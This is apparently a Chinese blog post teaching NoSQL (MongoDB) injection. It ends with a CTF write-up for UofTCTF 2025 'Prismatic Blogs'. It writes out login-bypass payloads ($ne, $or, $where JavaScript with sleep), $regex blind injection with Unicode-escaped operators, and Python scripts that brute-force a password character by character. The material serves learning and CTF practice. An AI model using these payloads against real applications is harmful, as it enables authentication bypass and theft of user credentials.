当前位置: 首页 > news >正文

NoSQl注入学习

文章目录

  • 什么是NOSQL
  • 相关概念
    • 数据库
    • 文档
    • 集合
  • MongoDB 基础语法
      • 创建数据库
      • 创建集合
      • 插入文档
      • 更新文档
      • 查询文档
  • Nosql注入
    • PHP 中的 MongoDB 注入
      • 重言式注入
      • 联合查询注入
      • JavaScript 注入
      • 布尔盲注
    • Nodejs 中的 MongoDB 注入
  • 从一道题中学习nosql注入

参考:

Nosql 注入从零到一

什么是NOSQL

nosql数据库,简单的说就是非关系型数据库的sql注入,例如MongoDB数据库

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

{"_id" : ObjectId("60fa854cf8aaaf4f21049148"),"name" : "whoami","description" : "the admin user","age" : 19,"status" : "A","groups" : ["admins","users"]
}
RDBMSMongoDB
数据库数据库
表格集合
文档
字段
表联合嵌入文档
主键主键(MongoDB 提供了 key 为 _id)

相关概念

数据库

show dbs

显示所有数据库的列表

db

显示当前数据库对象或集合

文档

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。

eg.

{"name":"lally", "age":20}

集合

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

MongoDB 基础语法

创建数据库

use DATABASE_NAME
如果数据库不存在,则创建数据库,否则切连接并换到指定数据库

创建集合

db.createCollection(name, options)
eg.
db.createCollection("all_users")
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

插入文档

db.COLLECTION_NAME.insert(document)
eg.
> db.all_users.insert({name: 'whoami', description: 'the admin user',age: 19,status: 'A',groups: ['admins', 'users']
})

更新文档

  • update() 方法
db.collection.update(<query>,<update>,{upsert: <boolean>,multi: <boolean>,writeConcern: <document>}
)eg.
db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})update() 方法来将年龄 所有为 19的 age 更新到 20
  • save() 方法

save() 方法通过传入的文档来替换已有文档,_id 主键存在就更新,不存在就插入

db.collection.save(<document>,{writeConcern: <document>}
)eg.替换id为60fa854cf8aaaf4f21049148的文档
> db.all_users.save({"_id" : ObjectId("60fa854cf8aaaf4f21049148"),"name" : "whoami","age" : 21,
})

查询文档

db.collection.find(query, projection)
eg.
db.all_users.find({"age":"20"})
  • query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
  • projection:可选,使用投影操作符指定返回的键。

如果你需要以易读的方式来读取数据,可以使用 pretty() 方法以格式化的方式来显示所有文档:

操作格式范例RDBMS 中的类似语句
等于{<key>:<value>}db.love.find({"name":"whoami"}).pretty()where name = 'whoami'
小于{<key>:{$lt:<value>}}db.love.find({"age":{$lt:19}}).pretty()where age < 19
小于或等于{<key>:{$lte:<value>}}db.love.find({"age":{$lte:19}}).pretty()where likes <= 19
大于{<key>:{$gt:<value>}}db.love.find({"age":{$gt:19}}).pretty()where likes > 19
大于或等于{<key>:{$gte:<value>}}db.love.find({"age":{$gte:19}}).pretty()where likes >= 19
不等于{<key>:{$ne:<value>}}db.love.find({"age":{$ne:19}}).pretty()where likes != 19

$lte:小于等于(less than and equal)

$gte:大于等于(greater than and equal)

  • and条件

MongoDB 中的 find() 方法可以传入多个键值对,每个键值对以逗号隔开,即常规 SQL 的 AND 条件。

  • or条件

     db.col.find({$or: [{key1: value1}, {key2:value2}]}
    ).pretty()eg.查询键 status 值为 A 或键 age 值为 19 的文档
    db.all_users.find({$or:[{"status":"A", "age":"19"}]})eg.where age>19 AND (name='whoami' OR status='A')
    db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
    

Nosql注入

攻击者通过构造恶意的输入,改变查询的逻辑。例如,注入类似 MongoDB 的运算符(如 n e 、 ne、 neor)或嵌套对象。

示例:假设一个登录 API 查询:

db.users.find({ username: req.body.username, password: req.body.password });

如果攻击者提交以下输入:

{  "username": "admin",  "password": { "$ne": null } }

查询会变成:

db.users.find({ username: "admin", password: { $ne: null } });

这将匹配所有 password 不为 null 的用户,绕过密码验证。

PHP 中的 MongoDB 注入

重言式注入

如果对用户输入没有做任何过滤与校验,那么我们可以通过 $ne 关键字构造一个永真的条件就可以完成 NoSQL 注入

username[$ne]=1&password[$ne]=1

URL 查询参数 username[$ne]=1&password[$ne]=1 会被服务器(例如 Express)解析为 JavaScript 对象:

req.query = {  username: { $ne: "1" }, password: { $ne: "1" } 
};

联合查询注入

我们都知道,直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入,NoSQL 也有类似问题。

string query = "{ username: '" + $username + "', password: '" + $password + "' }"

当用户正确的用户名密码进行登录时,得到的查询语句是应该这样的:

{'username':'admin', 'password':'123456'}

如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

拼接入查询语句后相当于执行了:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 () 内的条件总是永真的。

但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。

这里解释一下query对象

  • 在 Express 应用中,req.query 是 Express 解析 URL 查询字符串(?key=value&key2=value2)后生成的对象。

  • 例如,URL:

    http://example.com/api/posts?id=11&category=tech

    • req.query 会被解析为:

      {  id: "11",  category: "tech" }
      

eg.

http://35.239.207.1:3000/api/posts?OR[0][author][password][startsWith]=A

req.query = {  OR: [    {author: {password: {startsWith: "A"        }      }    }  ] 
};

这里:

  • OR 是键,其值是一个 数组([{ … }])。
  • 数组的第一个元素是一个对象,包含嵌套的 author 和 password。

分析

  • Query 对象整体是 { OR: […] },不是 JSON 数组,而是包含数组的对象。
  • OR[0] 表示数组索引,author 和 password 是嵌套键,startsWith 是查询运算符。

JavaScript 注入

首先我们需要了解一下 $where 操作符。在 MongoDB 中,$where 操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以在自定义的函数里获取数据库的所有信息。

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
> 

由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。

某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:

db.users.find({ $where: "function(){return(this.username == $userData)}" })

然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000) ,此时 MongoDB 执行的查询语句为:

db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })

如果此时服务器有 5 秒钟的延迟则说明注入成功。

  • MongoDB 2.4 之前

在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。

如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

这是因为发送 payload 进入 PHP 后的数据如下:

array('$where' => "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){return true;}else{return false;}}
")

布尔盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来进行盲注, $regex 可以达到和传统 SQL 注入中 substr() 函数相同的功能。

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:

username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5}    // 登录成功
username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录失败

Nodejs 中的 MongoDB 注入

在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne 等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}

贴一个盲注爆密码的脚本

import requests
import stringpassword = ''
url = 'http://node4.buuoj.cn:27409/login.php'while True:for c in string.printable:if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:# When the method is GETget_payload = '?username=admin&password[$regex]=^%s' % (password + c)# When the method is POSTpost_payload = {"username": "admin","password[$regex]": '^' + password + c}# When the method is POST with JSONjson_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)headers = {'Content-Type': 'application/json'}r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json#r = requests.post(url=url, data=post_payload)if '但没完全登录' in r.content.decode():print("[+] %s" % (password + c))password += c

从一道题中学习nosql注入

题目参考:UofTCTF-2025-Prismatic Blogs

这道题有意思的地方是它是sqlite数据库,但是js的prsima库会将nosql查询语句自动解析为适配sqlite数据库的sql语句

Prisma 的统一 API

  • Prisma 的 where 条件语法与 MongoDB 类似(支持 AND、startsWith 等),即使底层是 SQLite。

  • 攻击者注入的查询(如 startsWith)被 Prisma 转换为 SQLite 的 LIKE,使得攻击行为类似于 NoSQL 注入。

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    在posts页面可以插入查询语句,且没有任何过滤

app.get("/api/posts",async (req, res) => {try {let query = req.query;query.published = true;let posts = await prisma.post.findMany({where: query});res.json({success: true, posts})} catch (error) {res.json({ success: false, error });}}
);

我们需要做的就是在这里爆出登录密码(用户名都是已知的),接着去login路由登录即可拿到flag

构造一手

AND: [author: {password: {startsWith: abcdefg}},author: {name: {equals: Bob}}
]

转换为url查询参数,AND[0]表示AND的第一个条件

import requests
import json
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
cha=''
for i in range(25):for c in s:res=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[0][author][password][startsWith]={cha+c}")if res.json().get('posts'):cha+=cprint(cha)

这里startsWith是不区分大小写的,所以在爆出密码后再用lt逻辑分出大小写即可,但单一的lt或lte比较不能确定大小写,因为如果前几个字符相等,那么长度短的字符会被认为是更小的。此时就会对我们的if判断产生影响。所以我们采取替换字符避免出现相等误判的现象

我们假设逻辑是

for j in cha:tmp+=chr(ord(j)+1)
AND[1][author][password][lt]={tmp}

假设比较到字符A

构造密码串真实密码串逻辑
A<Ab相等判定为小于
a<ab相等判定为小于
A<ab小于
a>Ab大于

我们采取双重限制条件,首先把构造字符串全部转为大写便于思考

假设构造字符为A,真实字符为x,再加入一个字符B(A+1)

if A<=x and B>x 说明 x=A

if A<x and B<x 说明x=a

这样就可以确定真实密码到底是小写还是大写了

password=''
tmp=''
for j in cha:tmp=passwordj=j.upper()next=chr(ord(j)+1)res2=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[1][author][password][gte]={tmp+j}&AND[2][author][password][lt]={tmp+next}")if res2.json().get('posts'):password+=jelse:password+=j.lower()print(password)

拿到密码后登录即可看到flag外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

相关文章:

  • OpenLayers:视图变换的方法
  • Python语法系列博客 · 第3期 数据结构入门(列表、元组、字典、集合)
  • 从代码学习深度学习 - 优化算法 PyTorch 版
  • MPTCP 的吞吐困局
  • ICS丨Chapter 1 Introduction to Computer System
  • MFC文件-屏幕录像
  • C 语言联合与枚举:自定义类型的核心解析
  • [Swift]Xcode模拟器无法请求http接口问题
  • Qt unknown module(s) in qt:serialport解决方法
  • Oracle Recovery Tools修复ORA-600 6101/kdxlin:psno out of range故障
  • C++11新增语法:列表初始化
  • 实现AWS Lambda函数安全地请求企业内部API返回数据
  • [每周一更]-(第140期):sync.Pool 使用详解:性能优化的利器
  • Python制作简易PDF查看工具PDFViewerV1.0查找功能优化
  • 【文件操作与IO】详细解析文件操作与IO (二)
  • 零、HarmonyOS应用开发者基础学习总览
  • Cursor新版0.49.x发布
  • 开源Midjourney替代方案:企业级AI绘画+PPT生成系统+AI源码
  • YOLO拓展-锚框(anchor box)详解
  • 深入理解C++ 中的vector容器
  • 两部门通报18个破坏耕地、毁林毁草典型问题
  • 谁在向张福生行贿?
  • 华夏银行去年净赚超276亿增近5%,个人贷款不良率升至1.8%
  • 智能网联汽车不得夸大宣传,专家呼吁引导企业规范宣传
  • 习近平会见柬埔寨国王西哈莫尼
  • “青创齐聚世博行 同心筑梦引领区”青创上海-2025浦东徒步行后天启程